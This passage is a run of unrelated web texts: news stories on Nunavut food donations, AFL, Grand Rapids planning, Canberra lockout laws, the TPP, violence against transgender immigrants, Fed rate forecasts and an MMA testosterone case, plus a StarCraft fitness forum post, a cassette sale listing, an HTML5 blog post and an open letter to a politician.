same. He later retracted his statement, saying negotiations with First Nations would take place within the context of Quebec's current territory.[33] See also [ edit ] References [ edit ] -An Iqaluit man has taken advantage of Amazon's free shipping to the city to make food donations to local schools. Now he wants to expand his giving to other schools throughout Nunavut's Baffin Island region. "The need's not going away," said Michael Murphy of the high local food prices that have driven him to ditch his shopping cart for his computer mouse. 'At the post office ... there was a section that was called 'Michael's Section'' says Murphy. (CBC) Since November Murphy has shipped $7,000 worth of food to several schools in Iqaluit. He started in November 2015 by asking for donations to help pay for breakfast and lunch programs and food hampers at the schools. He bought all the food — peanut butter, cereal, soup, breakfast bars — on Amazon.ca or Amazon.com. "That's where you get the best buying power," Murphy said. Free shipping key to program Amazon.ca charges substantial shipping fees to shoppers living outside of the Nunavut capital. What it costs on Amazon to ship 12 cans of Campbell's chicken noodle soup to Pond Inlet, Nunavut. The same order can be shipped for free to Iqaluit. (CBC) Someone from Pond Inlet ordering a dozen 284-millilitre cans of Campbell's chicken noodle soup would have to pay $121 in shipping and handling fees — 12 times the cost of the soup. But someone placing the same order from Iqaluit has the option of choosing free shipping or slightly faster free shipping using a $79-a-year Amazon Prime account, which is what Murphy has. "If Amazon ever changes the shipping to Iqaluit, we would be hurting up here," he said. "Our dollar doesn't go very far." Expanding to other communities Murphy's next goal is to ship food to other Baffin Island communities — like Pond Inlet, which is a two-and-a-half hour plane ride from Iqaluit — where free Amazon shipping is not an option. But he knows that, once the items arrive in Iqaluit, shipping them himself to the other communities will be pricey. "I'm exploring other avenues for when I start up in the fall to see if I can get it on gratis on a plane to go up there," he said. Sylvain Charlebois, professor of agriculture at Dalhousie University. (CBC) Murphy is also talking to schools in the Toronto District School Board about auctioning off art depicting life in the North made by Nunavut schoolchildren, as a way to raise money for shipping outside of Iqaluit. "If anything the need has just gotten worse and it's not going to go away," he said of those communities. Sylvain Charlebois, a professor at Dalhousie University's Faculty of Agriculture, says Amazon has the potential to fight food insecurity in the North thanks to the company's sheer size and its ability to keep food prices low and stable. "Amazon could actually allow many people to have access to not only good food, but many people up North could actually have access to affordable food as well," he said. -FORMER Brisbane Lions captain Jed Adcock is determined to extend his career at another club, believing he has at least three years of football left in him. The Lions informed the 29-year-old last month they would not renew his contract beyond this season after 12 years and more than 200 games with the club. But a match-winning four-goal and 21-disposal effort in the Lions' surprise victory over the Western Bulldogs has left Adcock even more certain he can play on for several more years. "I was pretty confident throughout the whole year that my future next year was going to be pretty good, so it came as a fair shock when I got told at the end of the year that I'd be moving on," Adcock told AFL.com.au. "I felt like my form as a defender was really good, and I definitely felt that I'd done enough. "I still feel like I've got three or four really good years of footy left in me. I'm only 29. I'm excited by the opportunity to move on and see what's next for me." Adcock was the longest serving Lion on the club's list in 2015, was co-captain with Jonathan Brown in 2013 and took on the reins solely in 2014 before the role was handed to teammate Tom Rockliff. Adcock said he spoke with coach Justin Leppitsch about two weeks before the end of the season and was delivered the news he would not be at the club in 2016. "It was a weird meeting. It was just me and 'Leppa', and Leppa felt that my form had dropped a little bit," he said. "But it was more that he was worried that my body had given way more than anything and that my pace was down and change of direction not as good. I found that a bit hard to believe." Adcock said the ensuing final rounds of the season were difficult knowing he would soon be packing up his locker and departing, describing it as "a kick in the guts". "But it was really important for me to play well, because I've not got to go out and prove to other teams they should be picking me up and that I do have three good years left in me," he said. "I'm hoping on the weekend some teams were able to see that." Adcock's credentials are strong. He has been durable – playing 20 or more games in the past five seasons – and will be able to start next pre-season on day one after not requiring off-season surgery. He has had two top-three finishes in the club's best and fairest (in 2005 and 2007) and was an All Australian nominee in 2007. He will also be eligible as a delisted free agent, allowing clubs to consider signing him without having to go through the trade process. "They know me as a defender but having that flexibility and going both ends of the ground is only going to help me find a club next year," Adcock said. "Hopefully it's not a hard sell but I imagine what will happen is there's probably bigger priorities they're trying to get at the moment and I'll fall through after that." Adcock and his young family are prepared to move anywhere for another AFL opportunity, having already considered it likely they would leave Queensland after his career at the Lions ended. He has been developing his skills as part of the Next Coach Program run by respected football assistant coach David Wheadon, and hopes to get into a position as soon as his playing career ends. "It's probably made me think about footy in a few different ways, but in a lot of ways my beliefs about coaching are the same as his," Adcock said. "The more I've done it the more I've enjoyed it. There as aspects I've got to do a bit more work on but there are other aspects which I feel right across." While speculation had dogged the Lions in recent weeks about unrest with some players and their coach – including midfielder Jack Redden who wants to be traded out of the club – Adcock said he had a good relationship with Leppitsch. "It was never going to be an easy conversation with a 12-year player who has captained the side. It was never going to be easy for him," he said. "I respect that he was able to tell me face-to-face where he thought my footy was at. It's fine, that's footy and I understand it's a business and sometimes you have to make the tough calls. "This opens another opportunity for me and we're really excited to find out what that will be and I can play some good footy at another club." -Arena South District redevelopment 8 Gallery: Arena South District redevelopment GRAND RAPIDS, MI – The parking lots south of the Van Andel Arena need more pedestrian connections, green spaces and buildings for people to work, live and shop in, according to a “visioning plan” presented to the Downtown Development Authority Wednesday, April 10. The seven-week study yielded a series of drawings that propose replacing freeway exits and parking lots in the Arena South District with new buildings, some of which would wrap around parking structures. Tom Nemitz, an architect who led the “visioning” effort, said the suggestions gained from meeting with residents and stakeholders in the area, concluded the “South Arena District” should establish “street grids” that end the US-131 off ramp at Cherry Street rather than Oakes Street. One option called for a tree-lined boulevard leading to Oakes Street while another option called for the creation of a park-like plaza connected to Oakes Street. While the DDA did not act on any of the plans, it voted to approve the five priorities established by the study. Those goals included: • Growing business and economic opportunities • Greening streets, buildings and public spaces • Building compact urban blocks that are densely developed and designed for people • Connecting transit, shops, restaurants, hotels, schools and the Grand River • Living and engaging in a multi-season inclusive environment. Mayor George Heartwell urged the planners to consider the needs of low-income residents in the neighborhood. Heartwell also encouraged the planners to consider mass transit options as an alternative to replacing the parking spots that will be lost with redevelopment. em>E-mail Jim Harger: and follow him on Twitter at -Live concert I recorded and released on tape years ago. Original pressing was limited to 25 and they were all given out at Brattfest. For sale now is a copy from my personal archives. Very rare cover songs and one unreleased song. Won't find these recordings anywhere else! Please note the sound quality isn't the greatest as it was recorded live straight to cassette. Track listing: 1. New Mexico song (part) 2. Free as the rent we don't pay (part) 3. Whiskey is my kind of lullaby 4. DIY orgasms 5. Where is my coffee 6. Green St. 7. Wagon wheel 8. Harmony parking lot song 9. Acid song 10. Color in your cheeks 11. Going to Georgia 12. This year 13. Tampa Bay song 14. Fuck cops intro, into Skaggy 15. No trespassing waltz 16. Crackhouse song 17. Sellout song -Canberra's proposed lockout laws ditched by ACT Government Updated The ACT Government has scrapped its proposed bar and nightclub lockout laws in the face of opposition from the Greens, businesses and the community. The Government was considering enforcing a 3:00am closing time or increasing fees for businesses selling alcohol after that time. The proposal was aimed at reducing the amount of alcohol-fuelled violence in Canberra. But similar changes introduced in Sydney have been widely condemned by business owners and patrons. On Tuesday the Greens announced they would not support the changes, effectively blocking the proposal. "The Greens didn't support restrictions on trading hours because we want Canberra to have a thriving night time economy," ACT Greens MLA Shane Rattenbury said. "It would shut down opportunities for nightlife and entertainment in Canberra, when in fact we should be moving in the other direction. "Dealing with alcohol-related harms is important, but we don't need to do it by curbing Canberra's nightlife. "We can have safety and entertainment at the same time." Emphasise on smaller venues and transport: Rattenbury Mr Rattenbury said he believed there were other ways to reduce street violence. "We believe an emphasise on smaller bars, restaurants and live music is one of the key issues to addressing alcohol-fuelled violence," he said. "So there are options for people to go out and be entertained without having to just drink alcohol. "Certainly having good transport options for people to get home at the end of the night safely is another important part of maximising the ability for people to go out without getting involved in alcohol-related violence." Chief Minister Andrew Barr denied he had been "rolled" by the Greens. "Well without me it wasn't going to get up and I didn't support it and that was the most important factor in the decision," he told 666 ABC Canberra. "I'm not going to go through in great detail the position of each individual Cabinet minister, but suffice to say the Attorney-General [Simon Corbell] put forward a discussion paper and it had the support of all of his colleagues." But Mr Barr said community and Cabinet response to a possible 3:00am closing time was mixed. "The issue here is to what extent does the poor behaviour of a very small number of people dictate a response that impacts very negatively on a much larger number of people," he said. Attorney-General Simon Corbell said the Government would continue to work with police and venues to reduce street violence. "There is no place in our city for alcohol-fuelled violence and we will continue to work to keep our streets safe," he said. The Government will continue to introduce legislation later this year that will include initiative to "lower licence fees for lower risk venues and red tape reduction for cafes". Topics: music, health, alcohol, community-and-society, states-and-territories, canberra-2600, act First posted -Ribbon Profile Blog Joined April 2010 United States 5278 Posts Last Edited: 2011-07-19 08:06:12 #1 Are you a nerd? Are you a slob? Do you have a girly screen name on Team Liquid? If you answered any of these questions, there's only one thing can salvage your life BUFFCRAFT! HUAH! You see, I know a lotta y'all wanna spread the word of e-sports, but how you gonna get taken seriously if you look like the sterotypical gaming nerd. Y'aint, t's how. In order for our fandom to be taken seriously by today's materialist culture, we must be more than devoted, funny, and all around cool people. The Starcraft 2 fandom must be known o'er the land as the fandom with the ROCK! HARD! ABS! Huah! Rules When you're a real man (or real woman, as they case may be. Muscles are not a patriarchy, they're a pec-riachry), you make your own rules. Here's what they are: 1. You gotta ladder, bro. How you gonna be taken serious as a Starcraft 2 player if you don't ladder. That's common sense. 2. When you win a game, reward yourself by doing a manly act of your choice. Flex! Punch something! Headbutt a tree! What matters is that you stay pumped 3. But when you LOOOOOSE, that's when you need to earn back the right to play. 3a. If you lose a macro game, you need to do 10 crunches OR 10 jumping jacks OR ten push-ups 3b. If you lose to cheese, you need to do 25 crunches, jumping jacks, OR push-ups 3c. If you yourself are the cheeser and still you lose, you must do 30 crunches, jumping jacks, or push-ups 4. After payin' your dues, you can rest if you feel you feel you need to. Play when you're ready, don't actually hurt yourself. We don't judge you...out loud. 5. If you wanna keep track of your weight-loss and share the results with the thread, fucking go for it, bro. If you want to keep it to yourself, that is also dude. The goal is self-improvement through self-indudement. 6. Buffcraft is not a substitute for an actual exercise regime. I'm not a doctah. Go see one before starting this program if you feel the need, due a medical condition, pregnancy, or anything like that. Remember, the most important rule is to get a little healthier and manlier (or womanlier!) while having fun playing Starcraft 2. Anything in accordance with that rule is not only allowed, but encouraged. You think you can have more fun adding "flex and then yell" at 50 food in your build order. Fucking do it. You wanna ladder dressed as David Coverdale from the band Whitesnake? Huah! And if you get flex and crunch your way to Masters, then you're just goddamn winning at everything. EDITED: A lot of y'all in the thread thing that the Buffcraft regime is insufficiently masculine. I'm proud of you for recognizing that more can be done. You wanna participate, and you think you can handle MORE than the vanilla pansy-ass version of Buffcraft. Post your alternative regimen in the thread, and keep us updated as you step up further. But remember, lying causes your secondary sexual organs to shrink to the size of raisins. And nobody likes raisins. Ribbon Win: Having crushed my enemy and seeing him driven before me, I imagine the lamentations of his women. Lose a macro game: 25 crunches. 25 jumping jacks Lose to cheese: 25 crunches, 25 jumping jacks, 10 push-ups Fail at committing cheese: 25 crunches, 25 jumping jacks, 20 push-ups. However, Ribbon does not cheese, and thus never has to face this punishment. Are you a nerd?Are you a slob?Do you have a girly screen name on Team Liquid?If you answered any of these questions, there's only one thing can salvage your lifeYou see, I know a lotta y'all wanna spread the word of e-sports, but how you gonna get taken seriously if you look like the sterotypical gaming nerd. Y'aint, t's how.In order for our fandom to be taken seriously by today's materialist culture, we must be more than devoted, funny, and all around cool people. The Starcraft 2 fandom must be known o'er the land as the fandom with theHuah!When you're a(or, as they case may be. Muscles are not a patriarchy, they're a pec-riachry), you make your own rules. Here's what they are:1. You gotta ladder, bro. How you gonna be taken serious as a Starcraft 2 player if you don't ladder. That's common sense.2. When you win a game, reward yourself by doing a manly act of your choice. Flex! Punch something! Headbutt a tree! What matters is that you stay3. But when you, that's when you need toback the right to play.3a. If you lose a macro game, you need to do 10 crunches OR 10 jumping jacks OR ten push-ups3b. If you lose to cheese, you need to do 25 crunches, jumping jacks, OR push-ups3c. If you yourself are the cheeser and still you lose, you must do 30 crunches, jumping jacks, or push-ups4. After payin' your dues, you can rest if you feel you feel you need to. Play when you're ready, don't actually hurt yourself. We don't judge you...out loud.5. If you wanna keep track of your weight-loss and share the results with the thread, fucking go for it, bro. If you want to keep it to yourself, that is also dude. The goal is self-improvement through self-indudement.6. Buffcraft is not a substitute for an actual exercise regime. I'm not a doctah. Go see one before starting this program if you feel the need, due a medical condition, pregnancy, or anything like that.Remember, the most important rule is to get a little healthier and manlier (or womanlier!) while having fun playing Starcraft 2. Anything in accordance with that rule is not only allowed, but encouraged. You think you can have more fun adding "flex and then yell" at 50 food in your build order. Fucking do it. You wanna ladder dressed as David Coverdale from the band Whitesnake? Huah!And if you get flex and crunch your way to Masters, then you're just goddamn winning at everything.EDITED:A lot of y'all in the thread thing that the Buffcraft regime is insufficiently masculine. I'm proud of you for recognizing that more can be done. You wanna participate, and you think you can handle MORE than the vanilla pansy-ass version of Buffcraft. Post your alternative regimen in the thread, and keep us updated as you step up further. But remember, lying causes your secondary sexual organs to shrink to the size of raisins. And nobody likes raisins.: Having crushed my enemy and seeing him driven before me, I imagine the lamentations of his women.: 25 crunches. 25 jumping jacks: 25 crunches, 25 jumping jacks, 10 push-ups: 25 crunches, 25 jumping jacks, 20 push-ups. However, Ribbon does not cheese, and thus never has to face this punishment. -Washington (CNN) It was their last, best chance at a big, bipartisan deal: President Barack Obama and congressional Republican leaders all agreed on free trade. Just a little more than a year ago, that philosophical alignment looked like enough for Obama's signature trade deal and centerpiece of his Asian pivot policy -- the 12-nation Trans-Pacific Partnership -- to clear Congress. Then the 2016 presidential campaign intervened. Now, as Obama participates in his last Southeast Asian summit to promote the pivot and its massive trade pact, the TPP looks like it's headed to the political graveyard. Obama tried to sound optimistic Wednesday about the deal's future, while also conveying to leaders in Asia the reality of the obstacles. "I believe that we'll get it done but it's always going to be hard," Obama said at a news conference in Laos, suggesting the deal's path might be easier after the US election. "Nothing is easy in the US Congress right now. Maybe there was a time when it was but I haven't seen it." Republican presidential nominee Donald Trump roused a populist base with his strident anti-trade message, declaring the Pacific Rim deal "terrible" and a "rape" of American workers. Democratic nominee Hillary Clinton, seeking to minimize the threat of primary opponent Bernie Sanders, announced that she, too, opposes the TPP. And, sensing the political risk of supporting a controversial deal both presidential nominees oppose, several lawmakers changed their positions. Trump is expected to call Wednesday for eliminating the sequester on defense spending and bolstering the US' defenses by proposing a "major investment" in US military spending. As Obama tries to cajole last concessions from partner countries on his final trip to Asia, the same congressional leaders who'd nudged him along on the TPP now say it's unlikely to be ratified. "The current agreement, the Trans-Pacific agreement, which has some serious flaws, will not be acted upon this year," Senate Majority Leader Mitch McConnell flatly declared at a Kentucky Farm Bureau event last week. Right now, with even pro-trade stalwarts like McConnell opposed to ratification during Obama's term, advocates of the TPP admit that they don't have the votes necessary to clear the House and the Senate. The summer has featured a rush of Republicans -- particularly those in competitive races -- bolting from the trade deal. Sen. Pat Toomey, a Pennsylvania Republican and long-time trade supporter, wrote in August in a Pittsburgh Post-Gazette op-ed : "We should dump the TPP and return to the negotiating table to get an agreement that would create jobs and economic growth here at home." Missouri Republican Sen. Roy Blunt told reporters he's having second thoughts about the deal . Florida Sen. Marco Rubio, once a Trump challenger, hasn't taken an official position, but he stripped mention of trade -- and his support for earlier steps greasing the wheels for TPP -- from his website, RealClearPolitics recently reported And Sen. Rob Portman, an Ohio Republican who once negotiated pacts as the US trade representative under George W. Bush, opposes the TPP. Conservative activists who waged a battle to deny Obama trade promotion authority in the first place, meanwhile, say they believe Trump awakened a party that had been ignoring its loyalists on trade. "I think this will last. Every time an issue comes to the forefront, I've never seen the activists forget about it. Once that issue is in the quiver and activists are paying attention to it, it stays there and activists will fight it forever," said Tea Party Patriots co-founder Mark Meckler. "The stain is here to stay." The deal's supporters -- including the US Chamber of Commerce and the National Association of Manufacturers -- aren't giving up. But they acknowledge the uphill battle on Capitol Hill. Linda Dempsey, the National Association of Manufacturers' vice president of international economic affairs, said that, "additional leadership is needed in Washington to forge a viable path forward." The US manufacturing sector "continues to lose foreign sales and access to new customers in some of the fastest-growing markets in the world," Dempsey warned about the deal falling through. Obama and TPP advocates have a problem with the president's typical allies on the left, too. Only a small group of Democrats -- mostly members of the centrist New Democrat Coalition -- backed trade promotion authority in the first place, making for the unusual coalition of Obama and congressional Republicans. Since then, those Democrats have been under pressure from labor unions that argue the TPP, which they've dubbed "NAFTA on steroids," would siphon more manufacturing jobs away from the United States. Sanders stoked opposition to the TPP among unions and progressives during the primaries, making it a mainstay of his stump speech and his go-to answer about what differentiated him from Obama and Clinton. That forced Clinton -- who'd declared the TPP a "gold standard" trade deal in 2012 while serving as Obama's secretary of state -- to the left. Her announcement in the fall of 2015 that she opposes the deal made Obama's task of getting Democrats on board even tougher. Opponents, meanwhile, are declaring victory -- at least for now. "It won't come up because the votes aren't there," Richard Trumka, the head of the AFL-CIO, a labor union that opposes TPP, said at a Christian Science Monitor Breakfast Thursday. "The candidates running will have to declare where they stand on TPP and the chips will fall where they may." Republican House Speaker Paul Ryan has maintained the deal would need substantial renegotiation -- a tough task since each of the other 11 participating nations have their own political sensitivities and Obama has less than five months remaining in office. "They have to fix this agreement and renegotiate some pieces of it if they have any hope or chance of passing it," Ryan said in an early August interview with Wisconsin Public Radio. "I don't see how they'll ever get the votes for it." But McConnell made clear last week that the path to the TPP's passage isn't totally closed. "It will still be around. It can be massaged, changed, worked on during the next administration," he said. Even if Congress ultimately does approve the Trans-Pacific Partnership, the next president will have ways of blocking its implementation -- such as procedural steps like refusing to officially notify other countries of the United States' implementation of the deal or not verifying that those countries have satisfied their TPP commitments. The hope of trade supporters is that a President Clinton or Trump would drop their resistance to the trade deal once in office. If they did, they'd be following a path similar to Obama, who pledged as a presidential candidate to renegotiate the North American Free Trade Agreement but governed as a trade supporter who entered new negotiations with the European Union and Asia-Pacific countries. But trade was less of a driving issue in the 2008 race, and neither Clinton nor Trump has left much wiggle room for a post-election reversal. "I will stop any trade deal that kills jobs or holds down wages -- including the Trans-Pacific Partnership," Clinton said in August in Warren, Michigan. "I oppose it now, I'll oppose it after the election, and I'll oppose it as president." Trump -- whose strident rejection of the TPP and other trade deals is a staple of his campaign events -- denounced the pact again on conservative radio host Laura Ingraham's show Thursday. "It's a terrible deal for the United States," he said. "It's a terrible deal for our workers." -The wide scar that runs the length of Vivi Lozoya’s abdomen is a daily reminder of the brutal attack that almost took her life. She constantly replays the incident in her mind. It was May 2011, and Lozoya, a transgender prostitute, had recently run away from the pimp she says had abused her and held her captive for two years. One day while she was out with friends, Lozoya says a man working for her pimp and his associates came up to her on the street, tapped her on the shoulder, and stabbed her in the stomach - she can't remember if it was three or four times. She does remember what the man said before sticking the knife in: "They sent me to wish you sweet dreams." The recovery was grueling. To this day, Lozoya says, when she drinks water, it sometimes feels as if it’s seeping out of her digestive tract. "And I still dream about being chased," she recounts one recent afternoon, sitting in her apartment in a working-class Los Angeles neighborhood. She says she doesn’t know if her attacker was ever caught. Violence is common Lozoya’s experience was extreme in its brutality. But advocates say violence against transgender women, specifically transgender immigrants like Lozoya who are in the U.S. illegally, is all too common. In response, immigrant rights groups are beginning to expand the scope of their work to raise awareness about the discrimination and abuse that gay, and specifically transgender, immigrants often face. Zizi Bandera, an organizer with the Coalition for Humane Immigrant Rights of Los Angeles, says the impetus to address these issues was the realization that the broader LGBT movement - with its emphasis on marriage equality - has not embraced the cause of gay immigrants. "It’s led by gay white men and it hasn’t centered the lives of immigrants that are also LGBT, and particularly transgender," Bandera maintains. A 2011 study by the National Center for Transgender Equality found that 26 percent of transgender people had experienced either physical or sexual abuse. But advocates believe the number is much higher among transgender immigrants, because of intolerant families or because those in the country illegally are much more likely to engage in prostitution to survive, or both. What drives those high rates of abuse, Bandera asserts, is the belief by some people that transgender lives are expendable. Abuse from an early age For Lozoya, the abuse began early, even before she arrived in the U.S. at 19 and began the transition from man to woman. She says it began when Vivi Lozoya was Jose Lozoya, a 12-year-old gay boy living in the Mexican state of Guanajuato. Beatings from homophobic family members were common, Lozoya remembers. Once in the U.S., Lozoya decided to become a woman physically, and paid for the surgeries with the money earned from prostitution. Always trusting and, she admits, a bit naïve, Lozoya says she welcomed an offer by a man she met on the street to help her earn more money by placing ads for her services. Before long, she says, the man was driving her from one hotel to another across northern California, beating her and forcing her to have sex with up to 30 men a day. When she finally ran away, she filed a restraining order against him, she recalls. She thought that would keep him away; she hadn’t expected him to send someone to kill her. Lozoya only recently started sharing her story. One afternoon in mid-April, she stands before a crowd of people near downtown L.A. and lifts her blouse to show the gruesome scar. The first "Day of Transgender Survivors" The event, called the First International Day of Transgender Survivors, is a resource fair organized by the Coalition for Humane Immigrant Rights. About 200 transgender people and their allies show up to tell stories of violence and survival. When Banderas began working with transgender immigrants about two years ago, she noticed that many of those who came to the Coalition for immigration help - especially the transgender women - had stories of being attacked. "I can’t think of one transgender woman here that I’ve worked with that hasn’t faced some kind of severe physical violence in her life," she says. And yet many of the women no longer seem fazed by the violence, as if they are used to it, she adds. Banderas says she’s spending a lot of time trying to get transgender women to understand that such violence isn’t normal - and that it should be reported to the police. Those in the country illegally resist going to the authorities "out of fear of deportation," Bandera says. Others hesitate "out of fear that their abuser or the person that attacked them will find them later on if the police [don't] follow up the way they should." The Coalition for Humane Immigrant Rights is beginning to work with police to sensitize them to the issues that transgender people face and to encourage them to investigate attacks against transgender people as hate crimes, Bandera says. Though she acknowledges that a hate motive isn’t always apparent in such crimes, she's convinced that "their transgender identity has everything to do with the violence they experience." A stark reminder The resource fair culminates with a noisy march to nearby MacArthur Park, with transgender men and women and their supporters chanting and carrying signs declaring, "Trans Lives Matter" and "Trans Lives Are Beautiful." As she marches, Vivi Lozoya says being so visible and open about her story gives her a sense of empowerment unlike any she’s felt before. But that mood is quickly spoiled. As the rally’s participants head back to their cars, three transgender women are assaulted in two separate attacks. Organizer Zizi Bandera says the attacks are a reminder: While transgender people want to make themselves more visible to the world, doing so still isn’t completely safe. She says the coalition plans to increase security at next year’s event. -I’m conflicted. As a front-end web developer, I should be excited about the advancements in HTML5: the new HTML tags that correct all the hacks and self-replicating div s; the correctly cross-browser rendered styles which have finally caught up to modern web design; and the new Javascript API’s that make the browser into a semi-legitimate – albeit Frankensteinian – app environment. Then I read this presentation on HTML5, and suddenly, I’m a lot less excited. It’s one thing to formalize the hacks developers have come up with over the years and standardize them into a cohesive spec, but with the renewal of the browser wars, it feels like an escalating feature war all over again. Google has taught us, over the years, that it’s possible but difficult to build complex applications completely in the browser. Google+, Gmail, Google Docs are written with many millions lines of carefully hand-crafted front-end code[1]. Careful coding, because the development environment is markedly unfriendly: loose HTML parsing, undefined and silently-failing CSS styling, and ironically unforgiving Javascript interpretation. For a while, this was the accepted state of the web development world: the pieces didn’t really fit together, but with enough brute force you could make things work, even across browsers if you really put in that 50% extra effort. When that wasn’t good enough, browser vendors raced to introduce new features, knowing the spec would take a decade or more to be ratified. The new API’s were great, but they necessitated defensive coding in languages not suited for it (e.g., enabling the styling of HTML5 tags in IE’s not recognizing HTML5 with the appropriately-named html5shiv). It also brought about the idea of graceful degradation, where you not only have to worry about getting the functionality to work properly as it is coded, but also somewhat work when functions, features and entire languages are ripped away via browser incompatibilities and user preferences. Nowadays it seems like we’re just going full-steam-ahead, damn the compatibility issues. With the pace of browser releases picking up – Google’s at the forefront with rapid Chrome releases, Firefox following suit – it’s nice to have new API’s to play with, but it reeks of the Microsoft-style, proprietary add-ons to an already-crowded and piecemeal coding “ecosystem”. Having to support 3-4 major browser was already a pain, but supporting 7-8 various browser versions is impossible. Even worse, only Chrome is really set up for rapid client releases; Firefox, for instance, is trying to release more often, but has already claimed its first casualties with a legacy plugin system[2] that wasn’t designed for malleable software versioning. In other words, a lot of add-ons just stopped working with the upgrade, despite how similar FF5 was to FF4. Adding even more features that is basically implemented in the 3rd-place browser further bifurcates web development: either make full use of new technologies and create cool demos that target a small subset of platforms, or work across all modern platforms targeting a wide audience while sticking with more mundane design and coding techniques. I think most of us who have to work on the web fall into the latter camp by business necessity; it’s only in our spare time that we can try out the new stuff, but with no real hope to transfer what we learn back work-related tasks. Although…now that I think about it, there is a platform for the former group of adventurous web coders. Chrome OS. It suddenly makes a little more sense. -Market expectations for an interest-rate hike before the end of 2015 have fallen sharply this autumn, following weaker-than-expected economic data and rising fears of a global growth slowdown. The Fed-funds futures market is now pricing in a 5% probability of a rate increase in October and a 30% probability of a rate increase in December The first fully priced-in rate hike has now been pushed out to March 2016, according to the CME Group’s Fed Watch Tool. But if history serves as a guide, the market is probably still getting it wrong, according to Torsten Slok, chief international economist at Deutsche Bank. Since 2009, the market has continuously overestimated the Fed’s rate-hike intentions, getting caught in continuous cycles of anticipating a rate rise and readjusting as the Fed subsequently stayed put, Slok said, in a note late last week. As the following chart shows, Fed-funds futures have been predicting a Fed liftoff for the past six years—and have been proven wrong every time. The dotted lines represent the projected Fed-funds rate, based on Fed-funds futures prices, while the red line shows the actual Fed-funds rate. Deutsche Bank The market’s rate-hike expectations (dotted lines) have overestimated the Fed’s actions (red line). Forecasts by Wall Street economists about the benchmark 10-year rate have also been too optimistic for a very long time, the Deutsche Bank report showed. For more than a decade, as the following chart shows, forecasts for the 10-year rate from the Fed’s quarterly survey of professional forecasters came in consistently about 60 basis points higher than the actual 10-year yield. Deutsche Bank The projected 10-year rate (dotted lines) has constantly overestimated the actual 10-year yield (blue line) by about 60 basis points. Currently, the Philly Fed survey projects a 2.5% yield by the end of 2015, according to the report. That’s about 46 basis points above the current 10-year yield TMUBMUSD10Y, -0.98% which on Monday hovered around 2.037%, according to Tradeweb. Making an accurate prediction about future interest rates might become even more difficult as Fed policy makers—in the name of transparency—express conflicting opinions on monetary policy. When Stanford University economist John Taylor, a well-known expert on monetary policy, told New York Fed President William Dudley on Thursday that the Fed is creating confusion in the market, he echoed the views of many interest-rate strategists. “It has recently become cloudier as Fed officials have been taking diverging views,” said Ninh Chung, head of investment strategy at SVB Asset Management. “The data remain uneven and inconsistent, so you can see an argument to support both sides. Fed officials’ conflicting views just cause more volatility,” said Michael Arone, chief investment strategist at State Street Global Advisors. Providing critical information for the U.S. trading day. Subscribe to MarketWatch's free Need to Know newsletter. Sign up here. -Sometimes lost in the contentious discussion around fighters receiving a Therapeutic Use Exemption for Testosterone Replacement Therapy is that some fighters unequivocally need it for medical reasons. While many fans are cynical over Vitor Belfort's use of TRT, the case of Antonio “Bigfoot” is another matter. Silva engaged in a battle for the ages with Mark Hunt at UFN 33, but tested positive for elevated levels of testosterone afterwards. Although he had been granted a TUE, he let his levels get too high, so the fight was declared a no contest, Silva was suspended for nine months, and he was denied his Fight of the Night bonus. Silva's manager Alex Davis appeared recently on The MMA Hour and explained that Silva's case is a medical necessity. “This is one of the guys that really have authentic technical reasons to be on TRT,” said Davis as transcribed by MMA Fighting. “He has acromegaly. His pituitary gland overproduces GH (growth hormone) and that unbalances all his other hormones.” “When I started managing him, he was actually lactating. He has extreme low testosterone. He has extremely low testosterone, so he has a real reason to be on TRT.” “I didn’t really take part on the TRT process. There was a miscommunication between him and his doctor. If I was in the middle of it maybe we would have avoided it. I didn’t realize I needed to be involved.” “He took the instructions wrong, but he did not try to cheat. What happened was, there was a miscommunication with the doctor and he ended up taking injections at the wrong time. He was taking a month then started taking a week. He took one a week before the fight and one at the week of the fight, which wasn’t supposed to. It got mixed up.” -Patrick Stokes, Deakin University Dear Mr Briggs, We haven’t met. But I’ve been following your ministerial career with some interest, since just before the last election. As you’ll recall you were the then-opposition’s spokesperson on “government waste,” a role that involved attending a surprising amount of sport. And in that capacity, you launched a broadside against what you saw as: those ridiculous research grants that leave taxpayers scratching their heads wondering just what the Government was thinking. You gave four examples of ARC funded “projects that do little, if anything, to advance Australians [sic] research needs.” As I discussed on this site at the time, two of those four were projects in my field, philosophy. Of course, ARC funding is insanely competitive, so those projects were more or less by definition world class contributions to the discipline. Yet you chose to ridicule them – and, by extension, the life’s work of people like me – all the same. Can you believe that was only two years ago? My, what a roller coaster it’s been for you: winning the election, becoming Assistant Minister (not, as you insisted to Raphael Epstein that time, a ‘junior minister’ even though that’s a common and well-understood term) for Infrastructure and Regional Development, busting a leg tackling the newly deposed PM, being made Minister for Cities and the Built Environment. As your new boss might have said, surely there was never a more exciting time to be Jamie Briggs. And then, seemingly out of nowhere, you had to resign after inappropriate behaviour towards a public servant in a bar in Hong Kong. So clearly you’ve been busy, and I doubt you’ve had much time to revisit the question of what does and doesn’t count as a valid area of research. But what I’d urge you to do, now that you’re back to constituency business and maybe have a little time on your hands, is to find out a bit more about what you knocked back then. Perhaps, in your enthusiasm to win the election, you were a bit too hasty. Perhaps philosophy was the answer all along. There’s certainly precedent for those in your profession. Plato, after all, insisted the rulers of the ideal state should be trained philosophers. The likes of Cicero, Seneca, and the philosopher-king Marcus Aurelius all managed to meld the life of the mind and the affairs of state, to the benefit of both. As a Liberal, you’ll surely appreciate the Harm Principle - the cornerstone of modern liberalism - formulated by J.S. Mill, who served one term as an MP. But as you can confirm, politics is also brutal and full of setbacks. Philosophy can help there, too. The philosopher Boethius was a powerful official under the reign of Theodoric the Ostrogoth, until he was accused of treason. While awaiting execution, he wrote The Consolation of Philosophy (523), one of the most influential books of the Middle Ages. As my Cogito colleague Laura D'Olimpio has described, Boethius imagines being visited by a personification of philosophy, who explains that love of wisdom is the only true balm for the sufferings of his soul. The Stoics, too, might offer you some resources for overcoming your recent loss of rank. But perhaps that won’t be won’t be enough, and you’ll find you can’t shake it off that easily (as another noted philosopher urges). Politics is a game built for the ambitious, and there’s little so painful as frustrated ambition. Perhaps you’ll find yourself in the position William James describes: The paradox of a man shamed to death because he is only the second pugilist or the second oarsman in the world. That he is able to beat the whole population of the globe minus one is nothing; he has ‘pitted’ himself to beat that one; and as long as he doesn’t do that nothing else counts. He is to his own regard as if he were not, indeed he is not. Fifty years earlier, Kierkegaard too had diagnosed this particular form of despair: Thus when the ambitious man, whose slogan was ‘Either Caesar or nothing’, does not become Caesar, he is in despair over it. But this signifies something else, namely, that precisely because he did not become Caesar he now cannot bear to be himself. Consequently he is not in despair over the fact that he did not become Caesar, but he is in despair over himself for the fact that he did not become 